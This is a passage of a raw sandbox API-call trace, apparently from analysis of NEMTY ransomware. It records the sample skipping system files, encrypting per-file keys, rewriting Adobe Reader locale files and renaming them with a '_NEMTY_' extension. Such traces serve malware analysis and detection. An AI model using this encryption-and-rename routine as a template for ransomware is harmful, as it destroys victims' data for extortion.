[0183.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SKY", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.320] Sleep (dwMilliseconds=0x5) [0183.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20eb63b0, dwHighDateTime=0x1d561e8)) [0183.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20eb63b0, dwHighDateTime=0x1d561e8)) [0183.329] GetLastError () returned 0x0 [0183.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.329] GetLastError () returned 0x0 [0183.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.329] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.329] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.330] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.330] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="MrCDFCazuKOgy2yakc2Hy1rPrwDTCYrOcvWZI2Gucg54unrDJLW56TWtPHVZLO/x\r\n8/LYaooStfTnDvlM+k/bjIAD6YgUW3joNg48IJw+4fpqdDWcORYnk5msgxD/gs2p\r\naaEFR5sR4j3F0hPBkIn7mXZXYu7YJfUjOAQrgSL8c0ZTjWUunARBQMbQ2Q4demQp\r\nfkD6qqKFF8jVgSW4VhAe/WiEcsqttHLpikoq4z+5h6Cbpo1flhobTA80cg/8i3vn\r\nOzuSAbygSoT1PNAXs3p6IhnY928vApjxftrRAkh4hgh4qwixL90e2PYzY+6lGZ7r\r\nG9xGtWFywllatsT1EkRQgw==\r\n", pcchString=0x653e5dc) returned 1 [0183.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Annots.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\annots.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.330] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=497664) returned 1 [0183.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.330] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.330] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.340] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.340] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.340] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=497664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79800 [0183.340] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.342] CloseHandle (hObject=0x2e8) returned 1 [0183.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0183.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.342] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Annots.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\annots.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Annots.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\annots.sky._nemty_kgobjgd_")) returned 1 [0183.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0183.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.344] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.SKY", cAlternateFileName="BRDLAN~1.SKY")) returned 1 [0183.344] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2=".") returned 1 [0183.344] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="..") returned 1 [0183.344] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="...") returned 1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="windows") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="rsa") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="NTDETECT.COM") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="ntldr") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="MSDOS.SYS") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="IO.SYS") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="boot.ini") returned 1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="boot.ini") returned 1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="ntuser.dat") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="desktop.ini") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="CONFIG.SYS") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="RECYCLER") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="bootmgr") returned 1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="programdata") returned -1 [0183.345] lstrcmpiW (lpString1="BRdlang32.SKY", lpString2="appdata") returned 1 [0183.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SKY", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SKY", lpUsedDefaultChar=0x0) returned 13 [0183.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SKY", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SKY", lpUsedDefaultChar=0x0) returned 13 [0183.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SKY", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SKY", lpUsedDefaultChar=0x0) returned 13 [0183.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SKY", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SKY", lpUsedDefaultChar=0x0) returned 13 [0183.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.346] Sleep (dwMilliseconds=0x5) [0183.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20f02670, dwHighDateTime=0x1d561e8)) [0183.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20f02670, dwHighDateTime=0x1d561e8)) [0183.360] GetLastError () returned 0x0 [0183.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.361] GetLastError () returned 0x0 [0183.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.361] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.361] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.361] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.361] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="e2A9KAWcg+gasH8ASeCh/KPE0Bykfe0BAcQxxocdkUWbnX0fSN3dRNwNaS8mZFJZ\r\nmg21HTqiNGdxTR0aMDZ5KDxKJXYx+AqsQQE5QepZAOXwExzzbm8Yg3Mvxe6RUFLm\r\nOAZFSM3uIZLBFreO8XOHnCSXy+QdFMDCyapurbOsLFQy2iI7jOclI05Zs0KDYMvH\r\nG/BkGv25JvXSO5KezwAgE7n2KrpaNgSDgVTrxbiU4jsQ5BQ67GsK5Xqa98vfSUgl\r\nNxrwNVZikQZeCNqGgpATjpthI0Asl5YzsA6VBT/hwDOXy0LD7Ia8YaaLXt1GblsN\r\n+D6OnKmuQYYY0T2iH+UuaQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\BRdlang32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\brdlang32.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.362] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13312) returned 1 [0183.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3400) returned 0x6352c48 [0183.362] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.362] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3400, lpOverlapped=0x0) returned 1 [0183.364] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.364] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3400, lpOverlapped=0x0) returned 1 [0183.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.364] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3400 [0183.364] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.364] CloseHandle (hObject=0x2e8) returned 1 [0183.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.365] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\BRdlang32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\brdlang32.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\BRdlang32.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\brdlang32.sky._nemty_kgobjgd_")) returned 1 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.366] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.SKY", cAlternateFileName="")) returned 1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2=".") returned 1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="..") returned 1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="...") returned 1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="windows") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="rsa") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="NTDETECT.COM") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="ntldr") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="MSDOS.SYS") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="IO.SYS") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="boot.ini") returned 1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="boot.ini") returned 1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="ntuser.dat") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="desktop.ini") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="CONFIG.SYS") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="RECYCLER") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="bootmgr") returned 1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="programdata") returned -1 [0183.366] lstrcmpiW (lpString1="Checkers.SKY", lpString2="appdata") returned 1 [0183.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SKY", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SKY", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SKY", 